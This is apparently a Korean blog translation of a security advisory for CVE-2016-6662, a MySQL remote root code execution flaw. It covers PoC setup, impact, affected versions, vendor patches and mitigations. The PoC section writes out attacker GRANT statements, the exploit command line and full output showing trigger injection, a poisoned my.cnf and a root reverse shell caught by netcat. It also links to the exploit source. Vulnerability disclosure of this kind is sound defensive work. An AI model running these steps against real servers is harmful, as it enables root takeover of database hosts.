1. 테스트를 위해서 데이터베이스와 데이터베이스의 관리자 권한을 설정한다.

CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';

2.  MySQL 설정에 아무거나 작성 가능할 수 있는 것 처럼 보이게 만든다. 이는 다음과 같이 유효하고 파싱 가능한 섹션을 포함하는 설정이 필요하다.

[isamchk]
key_buffer		= 16M

데비안에서 /etc/mysql/my.cnf에는 다음과 같이 설정한다.

chown mysql:mysql /etc/mysql/my.cnf
ls -l /etc/mysql/my.cnf
-rw-r--r-- 1 mysql mysql 3534 Sep 11 02:15 /etc/mysql/my.cnf

3. 공격자에 의해 공격을 실행하고, 공격했을 때 MySQL을 재시작하면 공격 성공한 것을 확인할 수 있다.

공격자:

  1. 라이브러리 경로를 mysql_hookanroot_lib.c 소스에 입력
  2. 0ldSQL_MySQL_RCE_exploit.py 스크립트를 실행

실행 예제:

./0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


[+] Connecting to target server 192.168.1.10 and target mysql account 'attacker@192.168.1.10' using DB 'pocdb'

[+] The account in use has the following grants/perms: 

GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'

[+] Compiling mysql_hookandroot_lib.so

[+] Converting mysql_hookandroot_lib.so into HEX

[+] Saving trigger payload into /var/lib/mysql/pocdb/poctable.TRG

[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target

[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded

[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /etc/mysql/my.cnf

[+] Showing the contents of /etc/mysql/my.cnf config to verify that our setting (malloc_lib) got injected

[mysql]
#no-auto-rehash	# faster start of mysql but no tab completition

[isamchk]
key_buffer		= 16M

!includedir /etc/mysql/conf.d/
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160912  8:48:41	   44 Query	select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void
		   44 Query	SET global general_log = off

[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)

[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)

listening on [any] 6033 ...

connect to [192.168.1.20] from dbserver [192.168.1.10] 36932
bash: cannot set terminal process group (963): Inappropriate ioctl for device
bash: no job control in this shell

root@debian:/# id
id
uid=0(root) gid=0(root) groups=0(root)

root@debian:/# ls -l /root/root_via_mysql
---------- 1 root root 0 Sep 10 22:50 /root/root_via_mysql


root@debian:/# exit      
exit
exit

[+] Shell closed. Hope you had fun. 

[+] Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)

[+] Exiting (code: 0)

VII. BUSINESS IMPACT

앞서 논의한 것과 같이 취약점은 MySQL 계정이 권한을 가지거나 권한이 없는(FILE 권한만) 접근 모두 공격자에 의해 공격당할 수 있다. 또한 공격자는 CVE-2016-6663 취약점과 결합하여 FILE 권한 없이 루트로 권한 상승하도록 허용할 수 있다.

이 취약점은 공격자가 직접 MySQL에 연결할 필요 없이 SQL 인젝션 공격을 통해 사용할 수 있기에 위험이 증가한다. 성공적인 공격은 공격자들이 루트 권한으로 원격 셸을 얻어 원격 시스템을 완전히 손상시킬 것이다.

만약 공격에 성공하였다면, 악의적인 코드는 MySQL 데몬이 재시작되기를 기다릴 것이다. MySQL 서비스의 재시작은 여러 가지 이유가 있을 것이다.

VIII. SYSTEMS AFFECTED

가장 최근 버전부터 가장 오래된 버전까지 모든 MySQL 버전은 이 취약점에 영향을 받는다.

일부 시스템은 mysqld_safe wrapper 스크립트를 사용 대신 직적 mysqld 데몬이 위치한 경로나 Systemd를 통해 MySQL을 실행한다. 하지만 이러한 시스템은 설치 스크립트 또는 다른 시스템 서비스에 의해 진행되는 업데이트를 위해 mysqld_safe를 호출할 수 있으므로 여전히 위험에 노출된다.

이 취약점은 일반적으로 MySQL 서버 (예, 설정 파일)에 의해 사용되는 파일에 접근할 수 있는 것과, 기본 정책에 포함되지 않은 채 시작되는 mysqld_safe 스크립트의 사전에 로드하는 기능으로 인해 라이브러리 삽입이 가능한 것을 악용한다. 그러기에 MySQL 데몬을 위한 보안 정책으로 SELinux와 AppArmor와 같은 보안 모듈이 설치된 곳에서도 공격이 가능하다.

IX. VENDOR RESPONSE / SOLUTION

이 취약점은 2016년 7월 29일 오라클에 보고했고 보안 팀에 의해 패치 우선순위를 부여받았다. 또한 PerconaDB와 MariaDB를 포함하여 영향을 받는 다른 업체에도 보고했다.

그리고 8월 30일을 끝으로 PerconaDB와 MariaDB는 패치되었다. 이들 업체들이 패치하는 과정은 공개 저장소에 저장되었고, 보안 문제 수정은 새로운 릴리즈와 함께 언급되기에 악의적인 공격자에게 알려질 수 있다.

이 문제와 패치 보고한 지 40일이 지났고 이미 공개적으로 언급(PerconaDB와 MariaDB에 의해)되었기에 제조사의 다음 CPU 업데이트(10월 18일에 예정된) 전에 사용자에게 알리기 위해 취약점을 공개(PoC를 제한하여)하기로 결정했다.

제조사에서는 이 시간까지 사용 가능한 공식적인 패치나 임시 조치(Mitigations)가 없었다. 그래서 사용자는 MySQL 설정 파일이 MySQL 사용자가 소유하지 않도록 하고 루트 권한으로 더미 my.cnf 파일을 생성하도록 작성하도록 일시적인 조치를 취하는 것이 좋다.

이러한 것은 완벽한 해결책이 될 수 없기에 공식적인 업체가 제공하는 패치를 적용해야 한다.

Update (16/09/2016): 

찾은 취약점에 침묵하던 제조사(다시 말해서, 연구원에게 이메일과 같은 개인 이메일을 통해 직접 알렸음에도 불구하고 공개적으로 중요한 수정을 알리는 Security Alert에 즉시 공개를 하지 않았다)는 다음과 같이 CVE-2016-6662 취약점에 대해 보안 패치를 진행했다.

https://dev.mysql.com/doc/relnotes/mysql/5.7/en/news-5-7-15.html
https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-33.html
https://dev.mysql.com/doc/relnotes/mysql/5.5/en/news-5-5-52.html

취약하고 공격 가증한 버전 리스트는 다음과 같이 변경했다.

MySQL  <= 5.7.14
                5.6.32
                5.5.51

X. REFERENCES

http://legalhackers.com

http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

이 문서의 소스코드:
http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py

http://legalhackers.com/exploits/mysql_hookandroot_lib.c

MySQL releases containing security fixes:
https://dev.mysql.com/doc/relnotes/mysql/5.5/en/news-5-5-52.html
https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-33.html
https://dev.mysql.com/doc/relnotes/mysql/5.7/en/news-5-7-15.html
which can be downloaded from:
http://dev.mysql.com/downloads/mysql/

https://mariadb.org/mariadb-server-versions-remote-root-code-execution-vulnerability-cve-2016-6662/

https://security-tracker.debian.org/tracker/CVE-2016-6662

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6662

MySQL 버전 3.23.55에서 수정된 오래된 취약점 정보:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0150

XI. CREDITS

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
http://legalhackers.com

XII. REVISION HISTORY

12.09.2016 - 이 문서는 0day 상태로 공개적으로 발표했다.
16.09.2016 - 일부 보안 포럼에서 알게된 오해를 명확히 하는 것이 중요할 것 같아서 IV 섹션에 중요한 부분을 업데이트했다.
16.09.2016 - IX 섹션에 패치에 대한 정보를 추가하고 I와 II 섹션에 이를 반영하여 업데이트했다.

XIII. LEGAL NOTICES

이 문서에 포함된 정보는 적합성의 보장이나 보증 그 외 어떤 것을 사용하지 않고 "현 상태" 그대로 제공된다. 이 정보의 사용이나 오용으로 인한 손해는 작성자가 책임지지 않는다.


본 문서는 (주)한국정보보호교육센터 f-NGS 연구소에서 의역하고 작성한 내용입니다.
Written and Translated by hakawati in KISEC 40th

저작자 표시 비영리 동일 조건 변경 허락
신고

'Advanced > Vulnerability' 카테고리의 다른 글

CVE-2016-6662 (2)  (0) 2016.09.19
CVE-2016-6662 (1)  (0) 2016.09.18

+ Recent posts

티스토리 툴바